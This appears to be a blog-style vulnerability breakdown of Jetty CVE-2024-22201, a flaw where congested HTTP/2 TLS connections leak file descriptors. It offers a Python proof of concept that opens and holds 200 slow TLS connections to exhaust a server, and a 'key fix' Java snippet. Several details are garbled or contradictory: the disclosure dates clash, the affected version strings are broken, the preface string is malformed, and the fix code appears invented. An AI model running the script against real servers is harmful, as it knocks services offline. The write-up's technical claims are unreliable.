Jetty is a popular, lightweight open-source web server and servlet engine written in Java. It’s widely used in many enterprise and cloud applications because of its flexibility and performance. But in June 2024, a serious vulnerability with the identifier CVE-2024-22201 was made public that affects Jetty’s HTTP/2 SSL connections. This issue gives attackers a cheap way to exhaust server resources and deny service to legit users.

In this exclusive breakdown, we’ll explore how CVE-2024-22201 works, how to reproduce it, patching details, and code snippets to help you investigate and defend your Java services.

What’s the Problem?

If you’re running Jetty as your web server and using HTTP/2 over SSL/TLS (HTTPS), you’re at risk. Here’s what’s happening:

- If a client establishes an HTTP/2 connection over SSL, but the underlying TCP connection gets congested (for example, by slow client data sends), Jetty fails to clean up the connection properly when it times out.

Eventually the server runs out of file descriptors, stops accepting new clients, or even crashes.

The vulnerability impacts Jetty versions before 9.4.54, 10..20, 11..20, or 12..6. If you’re running an older version, upgrade now.

References

- Jetty Security Advisory
- NVD Vulnerability Entry
- Jetty Issue Tracker

How Does The Attack Work?

An attacker can open multiple HTTP/2 SSL connections to your Jetty server and deliberately throttle (slow down) their TCP traffic so that the connections become “congested.” When these slow connections eventually hit a timeout, Jetty fails to fully close and clean them up, leaking the file descriptors that back each TCP connection.

Do this enough times, and your server runs out of allowed open files — meaning it simply can’t accept new legit connections.

Reproducing the Vulnerability (POC)

You can demonstrate the issue using curl, netcat, or custom scripts, but the most effective way is by simulating a slow client that holds lots of SSL connections open and doesn’t send (or very slowly sends) data.

Here’s a simple Python snippet using h2 and ssl, which opens many HTTP/2 SSL connections but doesn’t proceed with real requests, simulating slow clients:

import socket
import ssl
import time

host = 'your-jetty-server.com'
port = 443
num_connections = 200

sockets = []

for i in range(num_connections):
    try:
        raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ssl_sock = ssl.wrap_socket(raw_sock)
        ssl_sock.connect((host, port))
        # Send HTTP/2 preface but no frames
        ssl_sock.sendall(b'PRI * HTTP/2.\r\n\r\nSM\r\n\r\n')
        # Don't send anything else
        sockets.append(ssl_sock)
        print(f"[+] Connection {i+1} opened")
        time.sleep(.1)  # be gentle
    except Exception as e:
        print(f"[-] Error: {e}")

print("Sleeping, holding connections open...")
time.sleep(600)  # Hold them to force server timeout

*(Don’t run this against other people’s servers!)*

Monitor the Jetty server’s open file descriptors (lsof -p <jetty_pid> | wc -l) and you’ll see the number climb and never recover after connections timeout.

How Jetty Fixed This

According to the official advisory, Jetty maintainers fixed the bug by ensuring that all resources (including open file descriptors) are fully released if a connection times out, even when it’s congested or half-open.

You can view the patch here for details:

Key fix snippet (Java)

if (connection.isTimedOut() && connection.isCongested()) {
    // Properly close streams and file descriptors
    connection.close();
    resourceManager.release(connection);
}

Conclusion

CVE-2024-22201 is a resource exhaustion vulnerability that can let attackers quickly starve your Jetty web server of critical resources just by sending a bunch of slow, unfinished HTTP/2 SSL connections.

If you run Jetty in production or even as part of another Java app, double-check your version and update immediately. Don’t let a simple bug take your server offline!

- Jetty Security Advisory
- NIST NVD Entry
- Jetty Official Website

Stay safe, patch up, and keep monitoring those connections!

Timeline

Published on: 02/26/2024 16:27:56 UTC
Last modified on: 02/26/2024 16:32:25 UTC